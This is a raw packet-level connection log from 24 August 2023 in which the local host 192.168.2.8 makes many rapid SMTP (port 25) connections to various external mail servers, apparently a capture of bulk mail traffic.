Aug 24, 2023 19:03:53.322860956 CEST	50349	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:53.323049068 CEST	50374	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:53.338303089 CEST	25	50367	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:53.339121103 CEST	25	50367	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:53.339284897 CEST	50367	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:53.342875004 CEST	25	50373	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:53.343002081 CEST	50373	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:53.359384060 CEST	25	50360	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:53.359569073 CEST	50360	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:53.359967947 CEST	25	50363	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:53.360085011 CEST	50363	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:53.361167908 CEST	25	50366	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:53.361296892 CEST	50366	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:53.362914085 CEST	25	50348	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:53.364790916 CEST	25	50354	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:53.364897013 CEST	50354	25	192.168.2.8	74.125.200.26
Aug 24, 2023 19:03:53.400681019 CEST	50375	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:53.405641079 CEST	25	50370	69.49.101.235	192.168.2.8
Aug 24, 2023 19:03:53.405822039 CEST	50370	25	192.168.2.8	69.49.101.235
Aug 24, 2023 19:03:53.417072058 CEST	50376	25	192.168.2.8	96.102.157.178
Aug 24, 2023 19:03:53.417896986 CEST	25	50359	209.250.128.50	192.168.2.8
Aug 24, 2023 19:03:53.418112040 CEST	50359	25	192.168.2.8	209.250.128.50
Aug 24, 2023 19:03:53.419665098 CEST	25	50355	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:53.430777073 CEST	25	50362	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:53.432467937 CEST	25	50369	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:53.432646036 CEST	50369	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:53.447004080 CEST	25	50367	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:53.448251963 CEST	25	50367	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:53.448467970 CEST	50367	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:53.449399948 CEST	25	50367	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:53.449487925 CEST	50367	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:53.450037003 CEST	25	50364	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:53.450831890 CEST	25	50364	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:53.450984955 CEST	50364	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:53.458105087 CEST	25	50373	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:53.458334923 CEST	50373	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:53.464935064 CEST	50377	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:53.475709915 CEST	25	50366	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:53.475754976 CEST	25	50366	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:53.476012945 CEST	50366	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:53.476887941 CEST	25	50363	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:53.477082014 CEST	50363	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:53.485070944 CEST	25	50360	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:53.485244989 CEST	50360	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:53.491137981 CEST	25	50262	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:53.491185904 CEST	25	50262	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:53.491199017 CEST	25	50262	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:53.491213083 CEST	25	50262	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:53.491246939 CEST	25	50262	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:53.491265059 CEST	25	50262	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:53.491285086 CEST	25	50262	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:53.491297007 CEST	25	50262	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:53.491316080 CEST	25	50262	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:53.491337061 CEST	25	50262	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:53.491350889 CEST	25	50262	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:53.493318081 CEST	25	50374	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:53.493432999 CEST	50374	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:53.495906115 CEST	25	50349	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:53.496017933 CEST	50349	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:53.504852057 CEST	25	50375	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:53.505094051 CEST	50375	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:53.517924070 CEST	25	50339	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:53.521974087 CEST	25	50370	69.49.101.235	192.168.2.8
Aug 24, 2023 19:03:53.522263050 CEST	25	50370	69.49.101.235	192.168.2.8
Aug 24, 2023 19:03:53.522442102 CEST	50370	25	192.168.2.8	69.49.101.235
Aug 24, 2023 19:03:53.529153109 CEST	25	50348	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:53.529441118 CEST	50348	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:53.533476114 CEST	25	50372	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:53.533678055 CEST	50372	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:53.534619093 CEST	25	50371	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:53.534832001 CEST	50371	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:53.548562050 CEST	50378	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.549483061 CEST	25	50359	209.250.128.50	192.168.2.8
Aug 24, 2023 19:03:53.549665928 CEST	50359	25	192.168.2.8	209.250.128.50
Aug 24, 2023 19:03:53.553975105 CEST	50323	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.554033995 CEST	50323	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.554033995 CEST	50323	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.554034948 CEST	50323	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.554055929 CEST	50323	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.554075003 CEST	50323	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.554096937 CEST	50323	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.554116964 CEST	50323	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.554135084 CEST	50323	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.554168940 CEST	50323	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.554183006 CEST	50323	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.555743933 CEST	25	50367	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:53.559576988 CEST	50379	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:53.569458008 CEST	50320	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.569519043 CEST	50320	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.569550037 CEST	50320	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.569550037 CEST	50320	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.569564104 CEST	50320	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.569605112 CEST	50320	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.569605112 CEST	50320	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.569623947 CEST	50320	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.569643974 CEST	50320	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.569673061 CEST	50320	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.569765091 CEST	50320	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.570483923 CEST	25	50325	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:53.572150946 CEST	25	50373	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:53.572438955 CEST	25	50373	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:53.572617054 CEST	50373	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:53.577722073 CEST	25	50378	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:53.577897072 CEST	50378	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.578226089 CEST	25	50377	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:53.578330040 CEST	50377	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:53.582895994 CEST	25	50323	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:53.582932949 CEST	25	50323	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:53.582977057 CEST	25	50323	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:53.583013058 CEST	25	50323	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:53.587531090 CEST	25	50323	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:53.591162920 CEST	25	50366	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:53.591335058 CEST	25	50366	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:53.591387033 CEST	50366	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:53.591428041 CEST	50366	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:53.592740059 CEST	25	50363	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:53.594279051 CEST	25	50376	96.102.157.178	192.168.2.8
Aug 24, 2023 19:03:53.594435930 CEST	50376	25	192.168.2.8	96.102.157.178
Aug 24, 2023 19:03:53.594527006 CEST	25	50363	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:53.594633102 CEST	50363	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:53.598686934 CEST	25	50320	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:53.598726988 CEST	25	50320	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:53.603516102 CEST	25	50369	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:53.603811979 CEST	25	50320	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:53.604252100 CEST	25	50369	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:53.604422092 CEST	50369	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:53.608982086 CEST	25	50378	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:53.609222889 CEST	50378	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.609607935 CEST	25	50360	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:53.610493898 CEST	25	50352	104.47.59.138	192.168.2.8
Aug 24, 2023 19:03:53.610585928 CEST	50352	25	192.168.2.8	104.47.59.138
Aug 24, 2023 19:03:53.610809088 CEST	25	50375	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:53.610935926 CEST	50375	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:53.610977888 CEST	25	50360	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:53.611098051 CEST	50360	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:53.621651888 CEST	25	50364	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:53.622575998 CEST	50380	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:53.622785091 CEST	25	50364	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:53.623075962 CEST	50364	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:53.623773098 CEST	25	50364	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:53.623872042 CEST	50364	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:53.638544083 CEST	25	50378	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:53.638586044 CEST	25	50370	69.49.101.235	192.168.2.8
Aug 24, 2023 19:03:53.639348984 CEST	25	50370	69.49.101.235	192.168.2.8
Aug 24, 2023 19:03:53.639620066 CEST	50370	25	192.168.2.8	69.49.101.235
Aug 24, 2023 19:03:53.641232967 CEST	25	50378	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:53.641465902 CEST	50378	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.644808054 CEST	50381	25	192.168.2.8	216.71.153.91
Aug 24, 2023 19:03:53.656470060 CEST	50382	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:53.659571886 CEST	25	50371	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:53.659881115 CEST	25	50371	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:53.660005093 CEST	50371	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:53.662013054 CEST	25	50359	209.250.128.50	192.168.2.8
Aug 24, 2023 19:03:53.662086964 CEST	50359	25	192.168.2.8	209.250.128.50
Aug 24, 2023 19:03:53.667064905 CEST	25	50374	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:53.667197943 CEST	50374	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:53.670990944 CEST	25	50378	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:53.670995951 CEST	50383	25	192.168.2.8	204.174.64.46
Aug 24, 2023 19:03:53.671257973 CEST	50378	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.684534073 CEST	25	50339	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:53.684675932 CEST	50339	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:53.686463118 CEST	25	50373	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:53.686610937 CEST	50373	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:53.692265034 CEST	25	50377	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:53.692420959 CEST	50377	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:53.692471027 CEST	25	50379	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:53.692703962 CEST	50379	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:53.695723057 CEST	25	50354	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:53.705702066 CEST	25	50366	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:53.705764055 CEST	25	50378	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:53.706567049 CEST	25	50323	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:53.706720114 CEST	50323	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.715150118 CEST	25	50375	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:53.716175079 CEST	25	50375	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:53.716362953 CEST	50375	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:53.726720095 CEST	25	50380	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:53.726840973 CEST	50380	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:53.736005068 CEST	25	50323	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:53.736193895 CEST	50323	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.738975048 CEST	25	50320	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:53.739070892 CEST	25	50320	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:53.739095926 CEST	50320	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.739140987 CEST	50320	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.739604950 CEST	25	50325	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:53.739867926 CEST	25	50262	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:53.739952087 CEST	50325	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:53.739989042 CEST	25	50262	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:53.740005016 CEST	50262	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:53.740048885 CEST	50262	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:53.741580963 CEST	50268	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:53.741616011 CEST	50268	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:53.741616964 CEST	50268	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:53.741683960 CEST	50268	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:53.741683960 CEST	50268	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:53.741683960 CEST	50268	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:53.741683960 CEST	50268	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:53.741779089 CEST	50268	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:53.741779089 CEST	50268	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:53.741826057 CEST	50268	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:53.741826057 CEST	50268	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:53.747472048 CEST	50384	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:53.755796909 CEST	25	50370	69.49.101.235	192.168.2.8
Aug 24, 2023 19:03:53.755999088 CEST	25	50370	69.49.101.235	192.168.2.8
Aug 24, 2023 19:03:53.756088972 CEST	50370	25	192.168.2.8	69.49.101.235
Aug 24, 2023 19:03:53.768035889 CEST	25	50320	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:53.775038958 CEST	25	50369	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:53.776238918 CEST	25	50369	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:53.776467085 CEST	50369	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:53.776946068 CEST	25	50334	195.176.194.32	192.168.2.8
Aug 24, 2023 19:03:53.777245045 CEST	50334	25	192.168.2.8	195.176.194.32
Aug 24, 2023 19:03:53.777343035 CEST	25	50369	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:53.777439117 CEST	50369	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:53.784708023 CEST	25	50371	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:53.784831047 CEST	25	50371	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:53.785000086 CEST	50371	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:53.793636084 CEST	25	50364	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:53.805716038 CEST	25	50377	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:53.805751085 CEST	25	50377	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:53.805989981 CEST	50377	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:53.809923887 CEST	50385	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:53.816400051 CEST	25	50381	216.71.153.91	192.168.2.8
Aug 24, 2023 19:03:53.816514015 CEST	50381	25	192.168.2.8	216.71.153.91
Aug 24, 2023 19:03:53.820487976 CEST	25	50375	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:53.821381092 CEST	25	50375	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:53.821549892 CEST	50375	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:53.822515011 CEST	25	50375	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:53.822607994 CEST	50375	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:53.824286938 CEST	25	50382	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:53.824512959 CEST	50382	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:53.830677986 CEST	25	50379	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:53.831015110 CEST	50379	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:53.833220959 CEST	25	50380	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:53.833535910 CEST	50380	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:53.834078074 CEST	25	50372	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:53.834309101 CEST	50372	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:53.837250948 CEST	25	50374	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:53.837302923 CEST	25	50374	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:53.837471962 CEST	50374	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:53.840847015 CEST	50386	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:53.841371059 CEST	25	50373	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:53.849683046 CEST	25	50385	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:53.849895000 CEST	50385	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:53.857083082 CEST	25	50348	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:53.862823963 CEST	25	50378	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:53.863131046 CEST	50378	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.865627050 CEST	25	50354	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:53.865854979 CEST	50354	25	192.168.2.8	74.125.200.26
Aug 24, 2023 19:03:53.877974987 CEST	25	50361	184.106.54.2	192.168.2.8
Aug 24, 2023 19:03:53.878261089 CEST	50361	25	192.168.2.8	184.106.54.2
Aug 24, 2023 19:03:53.880815029 CEST	50387	25	192.168.2.8	44.237.12.42
Aug 24, 2023 19:03:53.891875029 CEST	25	50385	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:53.892188072 CEST	50385	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:53.892326117 CEST	25	50378	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:53.892782927 CEST	25	50378	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:53.909749985 CEST	25	50371	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:53.909934044 CEST	25	50371	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:53.910057068 CEST	50371	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:53.910324097 CEST	25	50334	195.176.194.32	192.168.2.8
Aug 24, 2023 19:03:53.910514116 CEST	50334	25	192.168.2.8	195.176.194.32
Aug 24, 2023 19:03:53.912895918 CEST	50315	25	192.168.2.8	52.71.57.184
Aug 24, 2023 19:03:53.914239883 CEST	50388	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:53.917237997 CEST	25	50384	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:53.917376041 CEST	50384	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:53.919377089 CEST	25	50377	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:53.919615030 CEST	50377	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:53.925628901 CEST	25	50375	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:53.931880951 CEST	25	50385	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:53.932163000 CEST	50389	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:53.932801962 CEST	25	50385	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:53.932918072 CEST	50385	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:53.937536955 CEST	25	50380	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:53.938572884 CEST	25	50380	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:53.938711882 CEST	50380	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:53.944108009 CEST	50378	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:53.946609974 CEST	25	50376	96.102.157.178	192.168.2.8
Aug 24, 2023 19:03:53.946799994 CEST	50376	25	192.168.2.8	96.102.157.178
Aug 24, 2023 19:03:53.947020054 CEST	25	50376	96.102.157.178	192.168.2.8
Aug 24, 2023 19:03:53.947052956 CEST	25	50369	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:53.947103977 CEST	50376	25	192.168.2.8	96.102.157.178
Aug 24, 2023 19:03:53.954538107 CEST	25	50386	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:53.954713106 CEST	50386	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:53.958008051 CEST	25	50373	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:53.958044052 CEST	25	50373	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:53.958129883 CEST	50373	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:53.963979006 CEST	25	50379	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:53.963990927 CEST	25	50379	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:53.964159966 CEST	50379	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:53.972641945 CEST	25	50385	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:53.973963022 CEST	25	50385	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:53.974119902 CEST	50385	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:53.975172997 CEST	25	50385	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:53.975270033 CEST	50385	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:53.988184929 CEST	25	50381	216.71.153.91	192.168.2.8
Aug 24, 2023 19:03:53.989156961 CEST	25	50361	184.106.54.2	192.168.2.8
Aug 24, 2023 19:03:53.993997097 CEST	25	50382	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:53.994208097 CEST	50382	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:54.007497072 CEST	25	50374	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:54.007673979 CEST	50374	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:54.011883020 CEST	25	50339	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.013771057 CEST	25	50385	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:54.020268917 CEST	25	50348	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.020535946 CEST	50348	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.020803928 CEST	25	50262	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:54.025235891 CEST	25	50372	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.025510073 CEST	50372	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.029592037 CEST	50390	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:54.038048029 CEST	50275	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.038141012 CEST	50275	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.038141012 CEST	50275	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.038141012 CEST	50275	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.038141012 CEST	50275	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.038141012 CEST	50275	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.038141012 CEST	50275	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.038141012 CEST	50275	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.038141012 CEST	50275	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.038172007 CEST	50275	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.039422989 CEST	50275	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.039752007 CEST	25	50389	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:54.039915085 CEST	50389	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:54.042772055 CEST	25	50380	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:54.042812109 CEST	25	50334	195.176.194.32	192.168.2.8
Aug 24, 2023 19:03:54.042819023 CEST	50391	25	192.168.2.8	209.71.212.24
Aug 24, 2023 19:03:54.042962074 CEST	50334	25	192.168.2.8	195.176.194.32
Aug 24, 2023 19:03:54.043889999 CEST	25	50380	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:54.044011116 CEST	50380	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:54.045001030 CEST	25	50380	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:54.045078039 CEST	50380	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:54.059809923 CEST	50392	25	192.168.2.8	216.71.131.24
Aug 24, 2023 19:03:54.060293913 CEST	25	50361	184.106.54.2	192.168.2.8
Aug 24, 2023 19:03:54.060647011 CEST	50361	25	192.168.2.8	184.106.54.2
Aug 24, 2023 19:03:54.066548109 CEST	25	50387	44.237.12.42	192.168.2.8
Aug 24, 2023 19:03:54.066723108 CEST	50387	25	192.168.2.8	44.237.12.42
Aug 24, 2023 19:03:54.067652941 CEST	25	50268	74.125.200.27	192.168.2.8
